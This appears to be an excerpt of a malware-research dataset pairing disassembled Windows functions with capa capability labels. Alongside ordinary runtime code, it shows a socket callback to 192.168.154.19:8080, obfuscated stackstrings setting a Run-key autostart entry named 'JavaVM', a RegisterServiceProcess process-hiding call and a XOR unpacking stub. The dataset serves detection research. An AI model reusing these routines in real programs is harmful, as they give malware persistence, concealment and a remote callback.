joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017e9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0x4f], 0x3378307a
mov dword [ebp - 0x4b], 0x59447256
mov dword [ebp - 0x47], 0x73676835
mov dword [ebp - 0x43], 0x4c424338
mov dword [ebp - 0x3f], 0x54554a6b
mov dword [ebp - 0x3b], 0x31456351
mov dword [ebp - 0x37], 0x48377061
mov dword [ebp - 0x33], 0x6f4d3241
mov dword [ebp - 0x2f], 0x47764e57
mov dword [ebp - 0x2b], 0x6c526564
mov dword [ebp - 0x27], 0x50364953
mov dword [ebp - 0x23], 0x714f396e
mov dword [ebp - 0x1f], 0x666a4b75
mov dword [ebp - 0x1b], 0x34745879
mov dword [ebp - 0x17], 0x5a776d46
mov dword [ebp - 0x14], 0x62695a
mov dword [esp], 5
call sym._malloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 4
mov byte [eax], 0
mov dword [ebp - 0xc], 0
jmp 0x4018c5
call sym._rand
mov ecx, eax
mov eax, ecx
shr eax, 1
mov edx, 0x84210843
mul edx
mov eax, edx
shr eax, 4
imul edx, eax, 0x3e
mov eax, ecx
sub eax, edx
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
add edx, ecx
movzx eax, byte [ebp + eax - 0x4f]
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 2
jle 0x401894
mov dword [ebp - 0xc], 0
jmp 0x401900
mov eax, dword [ebp - 0x10]
lea edx, [eax + 3]
lea ecx, [ebp - 0x4f]
mov eax, dword [ebp - 0xc]
add eax, ecx
movzx eax, byte [eax]
mov byte [edx], al
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._WYfbkHslLoCTLJO
cmp eax, 0x5c
jne 0x4018fc
mov eax, dword [ebp - 0x10]
jmp 0x40190a
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, 0x3e
jbe 0x4018d4
jmp 0x40188b
leave
ret

Function at 0x4019fd
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401a38
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RDccTmXIBr
mov dword [esp], str.192.168.154.19
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401a5d
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RDccTmXIBr
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x1f90
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401ace
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RDccTmXIBr
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401f90
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401ff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d06c]
test esi, esi
jle 0x402110
mov eax, dword [0x40d070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x402024
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x4020a7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x402010
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x402137
mov eax, dword [0x40d070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40d070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x402117
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x4020a0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x4020b0
add dword [0x40d06c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4020a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40202e
mov eax, dword [0x40d070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x402650
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d080]
sub esp, 4
test ebx, ebx
je 0x4026a5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40269e
test esi, esi
je 0x40269e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402680
mov dword [esp], 0x40d088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4029e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402a05
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402a10
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402a05
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402a58
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x402a4e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x402a5a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402a40
xor eax, eax
pop ebx
pop esi
ret
Function at 0x403ad0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x403af9
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data]
inc esi
xor eax, edx
dec ecx
jne 0x403ae4
xor eax, 0xffffffff
pop esi
leave
ret 0xc

Function at 0x411082
Capabilities:
Terminate process

Disassembly:
jmp 0x419680
jmp fcn.0041a930
cmp ecx, dword [0x424210]
jne 0x41968a
repz ret
jmp 0x4111ea
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x406850
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x41db6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4045dc
call fcn.004093c4
push 4
mov dword [esp + 0x18], 0
call fcn.0040aa66
mov edi, eax
add esp, 4
test edi, edi
je 0x4068c4
push ebx
call fcn.004091bf
mov dword [edi], eax
call fcn.00408f7e
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00409385
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4068b8
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.004093ad
pop ebx
jmp 0x4068c6
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x40b55e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4213dc]
jne 0x40b568
repz ret
jmp fcn.004114fc
Function at 0x416bf3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4213dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040f9de
and dword [ebp - 0x14], 0
cmp dword [0x81e674], 0
mov dword [ebp - 0x18], eax
jne 0x416ca6
push 0x403ff0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x416d4e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403fe4
push ebx
call edi
test eax, eax
je 0x416d4e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403fd4
push ebx
mov dword [0x81e674], eax
call edi
push eax
call esi
push 0x403fc0
push ebx
mov dword [0x81e678], eax
call edi
push eax
call esi
push 0x403fa4
push ebx
mov dword [0x81e67c], eax
call edi
push eax
call esi
mov dword [0x81e684], eax
test eax, eax
je 0x416ca6
push 0x403f8c
push ebx
call edi
push eax
call esi
mov dword [0x81e680], eax
mov eax, dword [0x81e680]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x416cff
cmp dword [0x81e684], ecx
je 0x416cff
push eax
call esi
push dword [0x81e684]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x416cff
test ebx, ebx
je 0x416cff
call edi
test eax, eax
je 0x416cf6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x416cf6
test byte [ebp - 8], 1
jne 0x416cff
or dword [ebp + 0x10], 0x200000
jmp 0x416d32
mov eax, dword [0x81e678]
cmp eax, dword [ebp - 0x18]
je 0x416d32
push eax
call esi
test eax, eax
je 0x416d32
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x416d32
mov eax, dword [0x81e67c]
cmp eax, dword [ebp - 0x18]
je 0x416d32
push eax
call esi
test eax, eax
je 0x416d32
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x81e674]
call esi
test eax, eax
je 0x416d4e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x416d50
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b55e
leave
ret
Function at 0x30030e08
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x30034158
call fcn.3003107e
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x3006bf28
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x30030bf8
cmp eax, esi
jne 0x30030beb
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x30030bfb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x30030bd2
xor esi, esi
inc esi
mov eax, dword [0x3006bf24]
cmp eax, esi
jne 0x30030c0e
push 0x1f
call sub.MSVCR80.dll__amsg_exit
pop ecx
jmp 0x30030c49
mov eax, dword [0x3006bf24]
test eax, eax
jne 0x30030c43
mov dword [0x3006bf24], esi
push 0x30001378
push 0x3000136c
call 0x301dc000
pop ecx
pop ecx
test eax, eax
je 0x30030c49
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x30030d20
mov dword [0x3006bbd0], esi
mov eax, dword [0x3006bf24]
cmp eax, esi
jne 0x30030c6d
push 0x30001368
push 0x30001350
call sub.MSVCR80.dll__initterm
pop ecx
pop ecx
mov dword [0x3006bf24], 2
cmp dword [ebp - 0x1c], ebx
jne 0x30030c7a
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x3006bf34], ebx
je 0x30030c9b
push 0x3006bf34
call fcn.3003143c
pop ecx
test eax, eax
je 0x30030c9b
push ebx
push 2
push ebx
call dword [0x3006bf34]
mov eax, dword [0x3006bbb8]
mov ecx, dword [sym.imp.MSVCR80.dll___winitenv]
mov dword [ecx], eax
push dword [0x3006bbb8]
push dword [0x3006bbbc]
push dword [0x3006bbb4]
call fcn.3001c6cd
add esp, 0xc
mov dword [0x3006bbcc], eax
cmp dword [0x3006bbc0], ebx
jne 0x30030d06
push eax
call dword [sym.imp.MSVCR80.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.MSVCR80.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x3006bbd0], ebx
jne 0x30030d14
call dword [sym.imp.MSVCR80.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x3006bbcc]
call fcn.300310c3
ret
call fcn.3003051e
jmp 0x30030bb0

Function at 0x30031694
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
xor esi, esi
push dword [ebp + 8]
inc esi
mov dword [ebp - 4], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x300316c2
xor eax, eax
jmp 0x300316ea
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x14]
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x300316df
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret 0x10

Function at 0x300316ef
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebp
ret 4
Function at 0x50b890
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x66
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x77
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x5c
mov byte [ebp - 0x1b], 0x4d
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x5c
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x61
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], bl
mov dword [esi], ebx
mov byte [ebp + 0xb], bl
mov edi, 0x80000002
lea eax, [ebp - 4]
push eax
push 0x20019
lea eax, [ebp - 0x24]
push ebx
push eax
mov al, byte [ebp + 0xb]
neg al
sbb eax, eax
add eax, edi
push eax
call dword [fcn.00501004]
test eax, eax
je 0x50b983
inc byte [ebp + 0xb]
cmp byte [ebp + 0xb], 2
jl 0x50b90f
mov dword [esi], 1
mov byte [ebp + 0xb], bl
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20006
push ebx
push ebx
lea eax, [ebp - 0x24]
push ebx
push eax
mov al, byte [ebp + 0xb]
neg al
sbb eax, eax
add eax, edi
push eax
call dword [0x501014]
test eax, eax
jne 0x50b975
push dword [ebp - 4]
call dword [section.UPX0]
inc byte [ebp + 0xb]
cmp byte [ebp + 0xb], 2
jl 0x50b943
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 4]
call dword [section.UPX0]
jmp 0x50b97e
Function at 0x50bbb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, dword [fcn.00501004]
push edi
lea eax, [ebp - 4]
mov edi, 0x20006
xor ebx, ebx
push eax
push edi
lea eax, [ebp - 0x3c]
push ebx
push eax
push 0x80000002
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x66
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x77
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x5c
mov byte [ebp - 0x33], 0x4d
mov byte [ebp - 0x32], 0x69
mov byte [ebp - 0x31], 0x63
mov byte [ebp - 0x30], 0x72
mov byte [ebp - 0x2f], 0x6f
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x66
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x5c
mov byte [ebp - 0x29], 0x57
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x64
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x56
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x75
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xc], 0x4a
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x76
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], 0x56
mov byte [ebp - 7], 0x4d
mov byte [ebp - 6], bl
call esi
test eax, eax
je 0x50bcc2
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0x3c]
push ebx
push eax
push 0x80000001
call esi
test eax, eax
jne 0x50bceb
mov esi, dword [ebp + 8]
add esi, 4
push esi
call dword [0x501078]
inc eax
push eax
push esi
push 1
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 4]
call dword [0x501008]
push dword [ebp - 4]
call dword [section.UPX0]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x50bd5c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and byte [ebp - 2], 0
push 0x501178
mov byte [ebp - 0x18], 0x52
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x67
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x76
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x50
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x73
call dword [int.00501094]
test eax, eax
je 0x50bde2
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [fcn.00501090]
test eax, eax
je 0x50bde2
push 1
push 0
call eax
leave
ret
Function at 0x50c220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 5], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x77
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6c
call dword [int.00501094]
test eax, eax
jne 0x50c272
lea eax, [ebp - 0x10]
push eax
call dword [0x501048]
test eax, eax
je 0x50c282
push 0x5012b4
push eax
call dword [fcn.00501090]
test eax, eax
jne 0x50c287
push 2
pop eax
leave
ret
lea ecx, [ebp - 4]
push 0
push ecx
call eax
neg eax
sbb eax, eax
neg eax
leave
ret

Function at 0x50dbf8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
lea eax, [ebp - 0x30]
push ebx
xor ebx, ebx
push eax
push 0x20019
lea eax, [ebp - 0x2c]
push ebx
push eax
push 0x80000001
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x66
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x5c
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x63
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x73
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], 0x66
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x5c
mov byte [ebp - 0x19], 0x57
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0x42
mov byte [ebp - 0x16], 0x5c
mov byte [ebp - 0x15], 0x57
mov byte [ebp - 0x14], 0x41
mov byte [ebp - 0x13], 0x42
mov byte [ebp - 0x12], 0x34
mov byte [ebp - 0x11], 0x5c
mov byte [ebp - 0x10], 0x57
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 0xd], 0x20
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x20
mov byte [ebp - 7], 0x4e
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x6d
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], bl
call dword [fcn.00501004]
test eax, eax
jne 0x50dd19
push 0x100
lea eax, [ebp - 0x134]
push ebx
push eax
call 0x5105b4
add esp, 0xc
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x100
push eax
lea eax, [ebp - 0x134]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x30]
call dword [fcn.0050100c]
push dword [ebp - 0x30]
call dword [section.UPX0]
cmp byte [ebp - 0x134], bl
je 0x50dd19
lea eax, [ebp - 0x134]
push eax
call fcn.0050daea
pop ecx
pop ebx
leave
ret